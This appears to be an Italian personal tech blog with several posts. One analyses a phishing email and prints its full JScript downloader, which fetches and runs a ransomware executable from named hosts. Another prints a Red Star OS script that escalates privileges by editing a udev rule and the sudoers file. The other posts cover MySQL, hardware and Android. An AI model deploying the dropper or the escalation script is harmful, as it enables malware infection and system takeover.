mercoledì 3 febbraio 2016

W32 Ramsonware 93.exe

Ieri frugando nello spam di GMail ho trovato un messaggio proveniente da un mio parente con l'indicazione di un rischio legato al file in allegato denominato Jgw.zip.

La prima cosa curiosa guardando l'header della mail e' che l'indirizzo corrisponde a quella del mio parente solo nella username e non del dominio (che risulta essere biscuitmusic.com, un sito giapponese, al posto di libero.it)

--------------------------------
Delivered-To: lucxxxxxx@gmail.com
Received: by 10.28.60.11 with SMTP id j11csp1824576wma;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
X-Received: by 10.50.131.201 with SMTP id oo9mr3891354igb.68.1454194268656;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Return-Path: <xxxxx@biscuitmusic.com>
Received: from smtp310.phy.lolipop.jp (smtp310.phy.lolipop.jp. [210.157.22.78])
        by mx.google.com with ESMTP id jn5si5379918igb.40.2016.01.30.14.51.07;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Received-SPF: neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxxx@biscuitmusic.com) client-ip=210.157.22.78;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxx@biscuitmusic.com) smtp.mailfrom=xxxxxxx@biscuitmusic.com
Received: from smtp310.phy.lolipop.lan (HELO smtp310.phy.lolipop.jp) (172.17.1.10)
  (smtp-auth username sato@biscuitmusic.com, mechanism plain)
  by smtp310.phy.lolipop.jp (qpsmtpd/0.82) with ESMTPA; Sun, 31 Jan 2016 07:51:07 +0900
Received: from 186.64.232.94 (186.64.232.94)
 by smtp310.phy.lolipop.jp (LOLIPOP-Fsecure);
 Sun, 31 Jan 2016 07:50:48 +0900 (JST)
X-Spam-Status: Yes(LOLIPOP-Fsecure) with VIRUSGW/SPAM_RBL/186.64.232.94[bl.spamcop.net:127.0.0.2]
X-Virus-Status: clean(LOLIPOP-Fsecure)
Message-ID: <9753AAE9DA198CA1FC6E4AB2E048A630@smtp.lolipop.jp>
From: "xxxxxxx" <xxxxxxx@biscuitmusic.com>
To: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Subject: =?ISO-8859-1?Q?1=2F20=2F2016_11=3A49=3A25_PM?=
Date: Tue, 20 Jan 2016 11:49:25 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_F7A3_CF9742FB.005289E3"
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3522.110
X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110

This is a multi-part message in MIME format.

------=_NextPart_000_F7A3_CF9742FB.005289E3
Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_3DE5_CF97430A.5525FFAB"

------=_NextPart_000_3DE5_CF97430A.5525FFAB
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
--------------------------------

E' scattata subito la curiosita' di capire cosa fosse e sono passato sotto Linux per evitare sorprese con qualche virus
Una volta decompresso il file zip vi era contenuto il file invoice_copy_JJBtlo.js. Aprendo con un editore e' apparso subito che si tratta di un sistema per scaricare il file http://skuawill.com/93.exe sulla macchina locale e mandarlo in esecuzione
(ATTENZIONE : alle 23.00 del 2 febbraio 2016 questo indirizzo era ancora attivo era possibile scaricare l'eseguibile del file)

in pratica il file Js e' uno script di shell di Windows che scarica il file e lo mette in TMP e lo nomina come 35184372088832 che corrisponde al 2 elevato alla 45
--------------------------------
var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;

var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;


var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);

var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;


for (var v = 0; v < URLS.length; v++) {
    try {
        var url = URLS[v];
        httpRequest.open(METHOD_GET, url, false);
        httpRequest.send();
        if (httpRequest.status == STATUS_OK) {
            try {
                stream.open();
                stream.type = 1;
                stream.write(httpRequest.responseBody);
                if (stream.size > MIN_FILE_SIZE) {
                    v = URLS.length;
                    stream.position = 0;
                    stream.saveToFile(storedFilePathName, 2);
                }
            } finally {
                stream.close();
            }
        }
    }
    catch (ignored) {
    }
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
--------------------------------
Passando il file exe in un editor esadecimale si vede che e' un file EXE di Windows (l'intestazione e' correttamente MZ quindi nessun pericolo a giocare con Mac e Linux), ha una dimensione di 508 Kb e frugando tra le stringhe si trova qualcosa di leggibile solo in coda al file (dalla posizione 494784 in poi)  ma una ricerca su Google delle stringhe non porta da nessuna parte di precisa

Aggiornamento : e' presente il riferimento ad un linguaggio di scripting denominato Edify per modificare file binari (fare l'update) partendo da un file .zip. Viene citato come in uso dalla catena di build di CyanogenMod. Ho il sospetto che il codice sia compresso e cio' nasconde le stringhe critiche

La cosa piu' preoccupante (oltre al fatto che il server non risulta filtrato e continua a distribuire il file 93.exe) e' che su VirusTotal il file viene riconosciuto come malware solo da 14 su 54 antivirus (in alcuni casi con un nome generico mentre su altri antivirus come Tesla)
In ogni caso c'e' abbastanza concordia nel dire che si tratti di un ramsonware o filelocker, un programma che cripta in maniera forte i dati della vittima e chiede un riscatto in bitcoin per ottenere la chiave crittografica di decompressione




martedì 2 febbraio 2016

Resync Mysql

In questo post avevo provato a fare il mirroring master/slave di un database Mysql su macchine differenti


Prova di mysql mirroring su macchine virtuali Debian in VMWare

In generale la sincronia dei dati anche se la macchina slave e' spenta od offline. Al momento di ristabilire la connessione lo slave e' in grado di stabilire le differenze tra le proprie tabelle e quelle del master per richiedere la differenza

In alcuni casi questa procedura puo' entrare in crisi ed e' necessario effettuare un resync manuale con la procedura indicata qui passando da un file dump dei dati del master

In pratica si procede stoppando lo slave

stop slave;

si blocca il master e si effettua il dump dei dati in modalita' lock

reset master;
flush tables with read lock;

si esce dalla shell di Mysql e si crea il dump dei dati

mysqldump -u root -p mirrdatabase > dump.sql

si rientra nella shell di Mysql e si sbloccano le tabelle

unlock tables;

a questo punto si copiano i dati sullo slave (che ha il mirroring bloccato)

mysql -u root -p mirrdatabase < dump.sql

(nello script dump.sql ci sono le informazioni per cancellare le tabelle precedentemente presenti per cui non e' necessario farlo a mano)

si riavvia il mirroring
reset slave;
change master to master_log_file='mysql-bin.000001', master_log_pos=1;start slave;


questa procedura puo' essere utile nel momento di creare un mirroring di una macchina gia' in produzione da diverso tempo con una grande quantita' di dati che potrebbero creare problemi in fase di sincronia sia alla CPU che al traffico di rete

lunedì 1 febbraio 2016

Sostituzione batteria su A1286

La sostituzione della batteria sui Mac e' diventata con il tempo sempre piu' difficile a partire dai vecchi MacBook bianchi (dove era banale e bastava una monetina) ad alcuni modelli attuali in cui e' sostanzialmente impossibile

Una delle cose da tenere in considerazione quando si tenta di riportare in vita (o meglio usabile) un vecchio Mac e' che Apple ha la maledetta abitudine si usare uno stesso identificativo per una serie di portatili con hardware molto differente. Per esempio con l'identificativo A1286 vengono definiti 22 modelli differenti di MacBook Pro con dotazione da Core 2 Duo ad I7


Quindi se si compra una batteria di ricambio genericamente per A1286 c'e' la possibilita' di sbagliare (infatti la dimensione della batteria e' la medesima ma cambia il connettore)

Per il MacBook Pro 15 pollici Mid 2009 si deve scegliere il ricambio A1302


Sorpassato il problema iniziale della scelta del giusto ricambio la sostituzione e' banale, ci si deve solo ricordare che non tutte le viti del fondo del computer sono tutte delle stessa dimensione (quelle piu' lunghe sono sul lato della cerniera del monitor). Un lavoro da 10 minuti e circa 30 euro di spesa

venerdì 29 gennaio 2016

Hacking Red Star 3.0

Red Star e' un sistema operativo basato su Linux, probabilmente da una Fedora, creato da governo della Nord Corea con l'evidente scopo di tracciare e limitare le attivita' online dei propri utenti,
La notizia della fuga della iso del sistema operativo e' piuttosto vecchiotta cosi' come il sistema per hackerare il sistema ma e' un ottimo esempio di come si puo', su un sistema solido come Linux, effettuare una scalata di privilegi con metodi banali (ovvero senza ricorrere a buffer overflow od exploit particolari) basandosi su una pessima configurazione del sistema

La iso puo' essere scaricata da questo link

Finestra di Login di RedStar

Attenzione : e' fortemente consigliato di giocare con RedStar soltanto all'interno di una macchina virtuale disconnettendo l'interfaccia di rete virtuale ed evitando qualsiasi tipo di condivisione con il filesystem reale o chiavette USB reali (Red Star effettua di nascosto un watermark di tutti i file che scansiona)

Il primo ostacolo che si incontra nella installazione della iso e' che e' tutta (ovviamente) in coreano quindi bisogna andare un po' a caso. Essendo comunque solo una traduzione e non una modifica del procedimento base e' piuttosto semplice concludere il processo

Schermata dell'installazione

A questo punto ho provato a raggiungere una shell. Usando le combinazioni di tasti CTRL+ALT+Fx si ha che su F1 si ha una shell testuale ma a cui non si puo' effettuare il login mentre su F2 si ha X, nessuna altra shell virtual


In realta' frugando nei menu si trova un Xterm. Si deve cliccare sull'icona in basso per aprire il menu dei programmi.


Poi cliccando sulla quarta icona da sinistra nella riga piu' in alto della finestra soprastante (icona del folder verde) si accede alla schermata sottostante


Si clicca sul folder con martello e chiave (che dovrebbe essere qualcosa tipo Utility) e si arriva finalmente all'icona del terminale


Una volta ottenuta la shell si ha il problema che digitando sulla tastiera compaiono caratteri coreani ed e' quindi impossibile digitare i comandi Unix. La soluzione e' quella di premere a lungo e rilasciare il tasto Alt-Gr, a questo punto dovrebbero comparire i caratteri latini e si puo' procedere

e qui inizia la vera e propria scalata dei privilegi
la debolezza del sistema risiede tutta nella cattiva configurazione dei permessi nel file /etv/udev/rules.d/85-hpjl10xx.rules che e' settato come 777
RedStar e' impostato per impedire l'esecuzione di file di sistema ed ovviamente l'utente normale non puo' utilizzare sudo. Pero' il file in esame viene eseguito in fase di boot come root/admin.
Il gioco sta semplicemente nel modificare il file (perche' e' comunque scrivibile) e riavviare il computer per eseguire i comandi aggiunti per prendere il controllo della macchina



lo script (trovato qui) e' il seguente
semplicemente vengono aggiunti tutti gli utenti alla lista sudoers .. di una semplicita' disarmante
---------------------------------------------
 #!/bin/bash -e
 cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
 echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
 cat <<EOF >/tmp/r00t.sh
 echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
 mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
 chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
 rm /tmp/r00t.sh
 EOF
 chmod +x /tmp/r00t.sh
 echo "sudo will be available after reboot"
 sleep 2
 reboot
---------------------------------------------







mercoledì 27 gennaio 2016

Normalizzazione immagini con ImageMagick

Per un software di elaborazione immagini, in particolare per calcolare gli spostamenti da un video in timelapse, avevo la necessita' di confrontare immagini con la stessa inquadratura ma con condizioni di luce differenti, possibilmente con procedura batch

Una soluzione e' stata trovata negli script a questo link http://www.fmwconcepts.com/imagemagick/, in particolare bcmatch

Le immagini di riferimento sono state riprese a 11 minuti di distanza all'alba. L'elaborazione ha tentato di riportare le condizioni di illuminazione di Immagine 2 a quelle di Immagine 1 (per confronto si puo' vedere la posizione della Luna nel cielo)

Il risultato non e' perfetto ma decisamente buono e conforme per quanto richiesto dal successivo software di elaborazione.
Immgine 1

Immagine 2

Immagine 2 normalizzata ad Immagine 1

La stessa cosa con le immagini pero' a scala di grigio

Immagine 1 scala grigio

Immagine 2 scala grigio


Immagine 2 normalizzata ad Immagine 1


martedì 26 gennaio 2016

CyanogenMod su XT1032: all'inferno e ritorno

Visto che il mio fidato Moto G 2013 prima edizione (altrimenti conosciuto come XT1032/Falcon) ha ormai raggiunto con Android 5.1 il termine degli aggiornamenti da parte di Motorola (peraltro nel frattempo defunta) ho voluto provare a fare il salto verso Android 6 MarshMallow con la CyanogenMod...mai mossa fu piu' avventata


Per prima cosa e' stato necessario sbloccare il bootloader (le istruzioni ufficiali si trovano a questo link). Non e' una operazione banale come con i Nexus in quanto bisogna far partire il telefono in modalita' fastboot con 

adb reboot bootloader

e poi farsi dire l'identificativo del dispositivo con il comando

fastboot oem get_unlock_data

il telefono risponde con un codice seriale di cinque righe che devono essere copiate e messe su una unica riga alla pagina a questo link
Verra' mandata una mail con un codice molto piu' corto da inserire nel comando

fastboot oem unlock codice_seriale_per_email

al successivo riavvio la tranquilizzante schermata di Moto viene cambiata in questo messaggio vagamente minaccios


il passo successivo e' stato installare la recovery TWRP (ogni telefono ha la sua, per Moto G si scarica da questo link). Facendo ripartire il telefono in modalita' bootloader si flasha la recovery con il comando 

fastboot flash recovery  twrp-2.8.6.0-xt1032.img

sul telefono viene generato un errore di mismatch delle dimensioni del file. va tutto bene, e' solo il telefono che protesta per vedere arrivare un file di dimensioni differenti da quelli di default

Modalita' Download
Ho dovuto fare un paio di tentativi per avere una installazione corretta di TWRP

A questo punto con il tasto Vol - si selezione Recovery e si conferma con il tasto Vol+ e si puo' installare il file zip precedentemente caricato sulla SD.

TWRP
E qui inizia il primo errore.Volendo installare Android 6 ho montato la CyanogenMod 12.1 che pero' corrisponde alla 5.1..quindi non ho guadagnato niente da questa nuova rom (seppure molto veloce). In piu' si e' aggiunto un problema perche' con l'installazione delle OpenGApps non funziona l'orologio di default di Google ne' la ricerca vocale (niente di drammatico ma a ma la sveglia serve)

Fatto 30 ho provato a fare 31 installando la CyanogemMod 13, attualmente solo in night build. Installazione completata correttamente e con il telefono ancora veloce.



Per finire ho montato le OpenGApss per Android 6 ed e' stato l'inizio dei problemi. Al riavvio il telefono era diventato non usabile perche' la Configurazione Automatica di Google (Configuration Wizard) andava in crash ogni secondo rendendo impossibile interagire con il telefono (e stupidamente non avevo prima attivato il supporto via Adb)

Vista l'impossibilita' di usare MarshMallow ho provato a tornare indietro e riflashare la 12.1 ma, per cause non chiare, il telefono e' rimasto per una buona mezz'ora bloccato sulla schermata bianca del bootloader di Motorola (la seconda di questo post) riavviandosi ogni 10 secondi e senza riuscire ad entrare in Download Mode

Dopo una serie di prove sono riuscito a riprendere almeno il controllo del bootloader e dovendo ripristinare la Rom originale almeno ho provato ad inserire la Google Play Edition con questa installazione facilitata

Adesso ho un Moto G  funzionante con Android 5.1 che condivide lo stesso software del Nexus 4

In conclusione:
1) CyanogenMod e' molto veloce ma l'integrazione con le app di Google e' molto delicata e non perfetta per cui si puo' andare rapidamente incontro a problemi

2) E' presto per MarshMallow su Moto G 2013

3) Con la TWRP e' possibile attivare la funzione ADB sideload (nel menu avanzate).Con questo sistema e' possibile flashare una immagine Rom senza caricarla in precedenza sulla memoria del telefono. Durante i vari disastri/tentativi per ripristinare il Moto G mi sono trovato nella condizione di non avere un sistema operativo funzionante e di poter scrivere sulla partizione dello storage. Digitando dal computer

adb sideload  cm-12.1-20151117-SNAPSHOT-YOG7DAO1K9-falcon.zip









venerdì 22 gennaio 2016

Ublox NEO M8N su Arduino

Dopo aver provato vari moduli GPS (qui e qui) per il mio acquisitore, ho comprato un UBlox Neo-M8N che dovrebbe garantire prestazioni un po' piu' professionali mantenendo il costo attorno ai 20-30 euro

In realta' il chip Ublox da solo e' sostanzialmente inutile perche' ha bisogno di elettronica di contorno e non e' banale da saldare in quanto e' SMD, quindi conviene comprare una scheda gia' assemblata. Ho preso quindi su Aliexpress il modulo sottostante, comprensivo di antenna passiva, che giunge con uno strano connettore a 4 fili ed uno a due fili


con un po' di ricerca ho scoperto che questo tipo di connettore e' compatibile con gli autopilot PixHawk, in pratica si tratta di un  modulo pronto per essere montato su un drone. Il mio obbiettivo era quello invece di usarlo con Arduino e visti i cavi sottili ho dovuto usare una millefori per fare una stabile di collegamento tra due tipi di fili di spessore differente 




Per testare il modulo e' disponibile il software Ucenter  per Windows. Non avendo a portata di mano una cavo FTDI ho connesso la seriale TTL dell'Ublox ad una Arduino su una seriale software per poi ridigere tutto sulla porta USB della Arduino (attenzione : il Neo-M8N ha una alimentazione massima a 3.3 V)

Questo e' lo sketch impiegato disponibile tra gli esempi della IDE di Arduino
----------------------------------------

#include <SoftwareSerial.h>

SoftwareSerial mySerial(2, 3); // RX, TX

void setup() {
  Serial.begin(9600);
  while (!Serial) {
  }

  mySerial.begin(9600);
}

void loop() { // run over and over
  if (mySerial.available()) {
    Serial.write(mySerial.read());
  }
  if (Serial.available()) {
    mySerial.write(Serial.read());
  }
}

----------------------------------------

Con il software Ucenter e' semplice avere una rappresentazione grafica della distribuzione dei punti. La nuvola dei punti e' rimasta nell'intorno di +/- 2 m con una standard deviation  inferiore al metro
Si vede chiaramente anche con l'Ublox riceva segnali sia GPS che Glonass


Questa e' la traccia invece plottata sul terreno. La posizione reale era al centro del rettangolo marrone


Questa e' la variazione in altezza registrata

Il modulo testato e' decisamente veloce nell'acquisizione ed ha delle caratteristiche migliori di Adafuit ad un prezzo comparabile. Cio' che manca e' la presenza di un Pin che permetta di spengere l'antenna per risparmiare energia

Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...